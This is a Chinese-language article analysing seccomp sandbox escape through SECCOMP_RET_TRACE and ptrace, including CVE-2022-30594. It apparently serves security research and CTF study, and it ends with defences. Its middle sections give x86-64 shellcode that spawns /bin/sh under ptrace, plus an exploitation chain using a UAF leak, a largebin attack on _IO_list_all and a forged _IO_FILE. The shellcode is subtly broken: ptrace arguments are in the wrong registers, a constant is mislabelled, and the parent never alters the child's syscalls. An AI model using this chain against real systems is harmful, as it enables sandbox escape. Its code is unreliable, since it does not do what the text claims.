SECCOMP_RET_TRACE沙箱绕过
字数 1583 2025-08-29 08:30:06
SECCOMP_RET_TRACE沙箱绕过技术分析与实践
1. 背景介绍
SECCOMP(Secure Computing)是Linux内核提供的一种安全机制,用于限制进程可以执行的系统调用。当SECCOMP过滤器返回SECCOMP_RET_TRACE时,内核会通知ptrace跟踪器,这为沙箱绕过提供了可能性。
2. SECCOMP_RET_TRACE与SECCOMP_RET_KILL的区别
| 特性 | SECCOMP_RET_TRACE | SECCOMP_RET_KILL |
|---|---|---|
| 行为 | 通知ptrace跟踪器 | 直接终止进程 |
| 干预机会 | 可修改参数或返回值 | 无干预机会 |
| 无调试器时 | 返回ENOSYS错误 | 直接终止 |
3. SECCOMP_RET_TRACE工作机制
当seccomp过滤器返回SECCOMP_RET_TRACE时:
- 内核检查是否有ptrace(2)附加的调试器
- 如果没有调试器,系统调用被阻断,返回ENOSYS
- 如果有调试器:
- 调试器通过
PTRACE_SETOPTIONS设置PTRACE_O_TRACESECCOMP - 内核发送
PTRACE_EVENT_SECCOMP信号 - 调试器可通过
PTRACE_GETEVENTMSG获取SECCOMP_RET_DATA
- 调试器通过
调试器干预方式:
- 跳过系统调用(系统调用号改为-1)
- 篡改系统调用(修改为其他有效值)
- 伪造返回值(通过寄存器注入)
4. 内核版本差异
Linux < 4.8的行为
- 调试器处理后,内核不会重新执行seccomp检查
- 存在沙箱逃逸风险:攻击者可完全绕过过滤规则
Linux ≥ 4.8的行为
- 调试器修改操作后,内核会再次检查
- 危险操作仍会被拒绝
5. CVE-2022-30594漏洞分析
影响版本:Linux内核5.17.2之前
漏洞本质:
PTRACE_SEIZE操作中未正确校验PT_SUSPEND_SECCOMP标志的设置权限- 攻击者可绕过seccomp对敏感系统调用的限制
利用条件:
- 存在可用的内存破坏漏洞(如UAF)
- 目标系统内核版本在受影响范围内
- 能够执行fork和ptrace操作
6. 利用技术实践
6.1 前置准备
- 泄露libc和堆地址
- 通过largebin attack攻击
_IO_list_all - 使用
mprotect开辟可执行内存区域
6.2 shellcode编写要点
; 1. fork创建子进程
fork:
mov rax, 57 ; fork系统调用号
syscall
test rax, rax
jz child_process
; 2. 父进程追踪子进程
parent_process:
; ptrace(PTRACE_ATTACH, pid, 0, 0)
mov rdi, rax ; 子进程PID
mov rsi, 16 ; PTRACE_ATTACH
xor rdx, rdx
xor r10, r10
mov rax, 101 ; ptrace系统调用号
syscall
; wait4(pid, &status, 0, NULL)
mov rdi, rax
lea rsi, [rsp-8]
xor rdx, rdx
xor r10, r10
mov rax, 61 ; wait4系统调用号
syscall
; ptrace(PTRACE_SETOPTIONS, pid, 0, PTRACE_O_TRACESECCOMP)
mov rsi, 0x4200 ; PTRACE_O_TRACESECCOMP
mov rax, 101
syscall
; ptrace(PTRACE_CONT, pid, 0, 0)
mov rsi, 7 ; PTRACE_CONT
mov rax, 101
syscall
jmp exit
; 3. 子进程执行execve("/bin/sh")
child_process:
; ptrace(PTRACE_TRACEME, 0, 0, 0)
xor rdi, rdi
mov rsi, 0 ; PTRACE_TRACEME
xor rdx, rdx
xor r10, r10
mov rax, 101
syscall
; execve("/bin/sh", NULL, NULL)
xor rsi, rsi
push rsi
mov rdi, 0x68732f6e69622f ; "/bin/sh"
push rdi
mov rdi, rsp
xor rdx, rdx
mov rax, 59 ; execve系统调用号
syscall
exit:
mov rax, 60 ; exit系统调用号
syscall
6.3 完整利用步骤
- 利用UAF等漏洞泄露内存地址
- 构造largebin attack修改
_IO_list_all - 伪造
_IO_FILE结构体(如使用house of obstack) - 将vtable指向可控区域
- 在可控区域布置shellcode
- 触发IO操作执行shellcode
- shellcode中:
- fork子进程
- 父进程ptrace追踪子进程
- 子进程执行被禁止的系统调用
- 父进程修改子进程的系统调用行为
7. 防御措施
- 更新内核至5.17.2或更高版本
- 在seccomp规则中禁止ptrace相关系统调用
- 使用
SECCOMP_FILTER_FLAG_TSYNC同步线程规则 - 最小化进程权限(如使用no_new_privs)
- 结合namespace等隔离机制增强防护
8. 总结
SECCOMP_RET_TRACE机制原本用于调试目的,但在特定条件下可能被用于沙箱逃逸。理解其工作原理和内核版本差异对于安全开发和漏洞利用都至关重要。防御方应确保使用最新的内核版本和适当的seccomp配置,而攻击者则可以利用这些知识在CTF比赛或安全研究中突破限制。